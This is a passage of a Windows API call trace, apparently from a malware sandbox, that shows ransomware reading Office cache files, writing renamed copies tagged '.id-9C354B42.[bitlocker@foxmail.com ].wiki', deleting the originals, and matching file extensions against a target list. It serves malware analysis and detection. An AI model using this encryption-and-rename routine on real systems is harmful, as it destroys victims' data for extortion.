nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.573] WriteFile (in: hFile=0x184, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.573] SetEndOfFile (hFile=0x184) returned 1 [0045.573] CloseHandle (hObject=0x184) returned 1 [0045.574] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.574] SetEndOfFile (hFile=0x170) returned 1 [0045.575] CloseHandle (hObject=0x170) returned 1 [0045.575] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.575] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.575] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.575] lstrlenW (lpString=".doc") returned 4 [0045.575] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.575] lstrlenW (lpString=".docx") returned 5 [0045.575] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.575] lstrlenW (lpString=".pdf") returned 4 [0045.575] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.575] lstrlenW (lpString=".xls") returned 4 [0045.575] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.575] lstrlenW (lpString=".xlsx") returned 5 [0045.576] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.576] lstrlenW (lpString=".ppt") returned 4 [0045.576] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.576] lstrlenW (lpString=".zip") returned 4 [0045.576] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.576] lstrlenW (lpString=".rar") returned 4 [0045.576] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.576] lstrlenW (lpString=".bz2") returned 4 [0045.576] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.576] lstrlenW (lpString=".7z") returned 3 [0045.576] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.576] lstrlenW (lpString=".dbf") returned 4 [0045.576] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.576] lstrlenW (lpString=".1cd") returned 4 [0045.576] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.576] lstrlenW (lpString=".jpg") returned 4 [0045.576] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.576] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.576] lstrlenW (lpString=".doc") returned 4 [0045.576] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.576] lstrlenW (lpString=".docx") returned 5 [0045.576] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.576] lstrlenW (lpString=".pdf") returned 4 [0045.576] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.576] lstrlenW (lpString=".xls") returned 4 [0045.576] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.576] lstrlenW (lpString=".xlsx") returned 5 [0045.576] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.576] lstrlenW (lpString=".ppt") returned 4 [0045.577] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.577] lstrlenW (lpString=".zip") returned 4 [0045.577] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.577] lstrlenW (lpString=".rar") returned 4 [0045.577] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.577] lstrlenW (lpString=".bz2") returned 4 [0045.577] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.577] lstrlenW (lpString=".7z") returned 3 [0045.577] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.577] lstrlenW (lpString=".dbf") returned 4 [0045.577] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.577] lstrlenW (lpString=".1cd") returned 4 [0045.577] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.577] lstrlenW (lpString=".jpg") returned 4 [0045.577] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.577] lstrcmpiW (lpString1=".chm", lpString2=".wiki") returned -1 [0045.577] lstrlenW (lpString="setup.chm") returned 9 [0045.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.577] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=67190) returned 1 [0045.577] CloseHandle (hObject=0x170) returned 1 [0045.578] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0045.578] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.578] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.578] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.578] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.578] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.578] GetLastError () returned 0x0 [0045.578] ReadFile (in: hFile=0x170, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x10676, lpOverlapped=0x0) returned 1 [0045.581] WriteFile (in: hFile=0x184, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0045.582] ReadFile (in: hFile=0x170, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.583] WriteFile (in: hFile=0x184, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.583] SetEndOfFile (hFile=0x184) returned 1 [0045.583] CloseHandle (hObject=0x184) returned 1 [0045.584] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.584] SetEndOfFile (hFile=0x170) returned 1 [0045.585] CloseHandle (hObject=0x170) returned 1 [0045.585] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.586] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0045.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.586] lstrlenW (lpString=".doc") returned 4 [0045.586] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0045.586] lstrlenW (lpString=".docx") returned 5 [0045.586] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0045.586] lstrlenW (lpString=".pdf") returned 4 [0045.586] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0045.586] lstrlenW (lpString=".xls") returned 4 [0045.586] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0045.586] lstrlenW (lpString=".xlsx") returned 5 [0045.586] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0045.586] lstrlenW (lpString=".ppt") returned 4 [0045.586] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0045.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.586] lstrlenW (lpString=".zip") returned 4 [0045.586] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0045.586] lstrlenW (lpString=".rar") returned 4 [0045.586] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0045.586] lstrlenW (lpString=".bz2") returned 4 [0045.586] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0045.586] lstrlenW (lpString=".7z") returned 3 [0045.586] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0045.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.586] lstrlenW (lpString=".dbf") returned 4 [0045.586] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0045.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.586] lstrlenW (lpString=".1cd") returned 4 [0045.586] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0045.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.587] lstrlenW (lpString=".jpg") returned 4 [0045.587] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0045.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.587] lstrlenW (lpString=".doc") returned 4 [0045.587] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0045.587] lstrlenW (lpString=".docx") returned 5 [0045.587] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0045.587] lstrlenW (lpString=".pdf") returned 4 [0045.587] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0045.587] lstrlenW (lpString=".xls") returned 4 [0045.587] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0045.587] lstrlenW (lpString=".xlsx") returned 5 [0045.587] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0045.587] lstrlenW (lpString=".ppt") returned 4 [0045.587] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0045.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.587] lstrlenW (lpString=".zip") returned 4 [0045.587] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0045.587] lstrlenW (lpString=".rar") returned 4 [0045.587] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0045.587] lstrlenW (lpString=".bz2") returned 4 [0045.587] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0045.587] lstrlenW (lpString=".7z") returned 3 [0045.587] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0045.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.587] lstrlenW (lpString=".dbf") returned 4 [0045.587] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0045.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.587] lstrlenW (lpString=".1cd") returned 4 [0045.587] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0045.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0045.587] lstrlenW (lpString=".jpg") returned 4 [0045.587] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0045.588] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.588] lstrlenW (lpString="Setup.xml") returned 9 [0045.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.588] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=9352) returned 1 [0045.588] CloseHandle (hObject=0x170) returned 1 [0045.588] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.588] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.588] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.588] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.589] GetLastError () returned 0x0 [0045.589] ReadFile (in: hFile=0x170, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x2488, lpOverlapped=0x0) returned 1 [0045.604] WriteFile (in: hFile=0x184, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0045.605] ReadFile (in: hFile=0x170, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.605] WriteFile (in: hFile=0x184, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.605] SetEndOfFile (hFile=0x184) returned 1 [0045.605] CloseHandle (hObject=0x184) returned 1 [0045.606] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.606] SetEndOfFile (hFile=0x170) returned 1 [0045.607] CloseHandle (hObject=0x170) returned 1 [0045.607] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.607] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.607] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.607] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.607] lstrlenW (lpString=".doc") returned 4 [0045.607] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.607] lstrlenW (lpString=".docx") returned 5 [0045.608] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.608] lstrlenW (lpString=".pdf") returned 4 [0045.608] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.608] lstrlenW (lpString=".xls") returned 4 [0045.608] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.608] lstrlenW (lpString=".xlsx") returned 5 [0045.608] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.608] lstrlenW (lpString=".ppt") returned 4 [0045.608] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.608] lstrlenW (lpString=".zip") returned 4 [0045.608] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.608] lstrlenW (lpString=".rar") returned 4 [0045.608] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.608] lstrlenW (lpString=".bz2") returned 4 [0045.608] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.608] lstrlenW (lpString=".7z") returned 3 [0045.608] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.608] lstrlenW (lpString=".dbf") returned 4 [0045.608] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.608] lstrlenW (lpString=".1cd") returned 4 [0045.608] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.608] lstrlenW (lpString=".jpg") returned 4 [0045.608] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.608] lstrlenW (lpString=".doc") returned 4 [0045.608] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.608] lstrlenW (lpString=".docx") returned 5 [0045.608] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.608] lstrlenW (lpString=".pdf") returned 4 [0045.609] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.609] lstrlenW (lpString=".xls") returned 4 [0045.609] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.609] lstrlenW (lpString=".xlsx") returned 5 [0045.609] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.609] lstrlenW (lpString=".ppt") returned 4 [0045.609] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.609] lstrlenW (lpString=".zip") returned 4 [0045.609] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.609] lstrlenW (lpString=".rar") returned 4 [0045.609] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.609] lstrlenW (lpString=".bz2") returned 4 [0045.609] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.609] lstrlenW (lpString=".7z") returned 3 [0045.609] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.609] lstrlenW (lpString=".dbf") returned 4 [0045.609] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.609] lstrlenW (lpString=".1cd") returned 4 [0045.609] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.609] lstrlenW (lpString=".jpg") returned 4 [0045.609] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.609] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.609] lstrlenW (lpString="branding.xml") returned 12 [0045.609] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.610] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=596341) returned 1 [0045.610] CloseHandle (hObject=0x170) returned 1 [0045.610] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0045.610] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.610] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.610] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.610] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.610] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.611] GetLastError () returned 0x0 [0045.611] ReadFile (in: hFile=0x170, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x91975, lpOverlapped=0x0) returned 1 [0045.624] WriteFile (in: hFile=0x184, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: 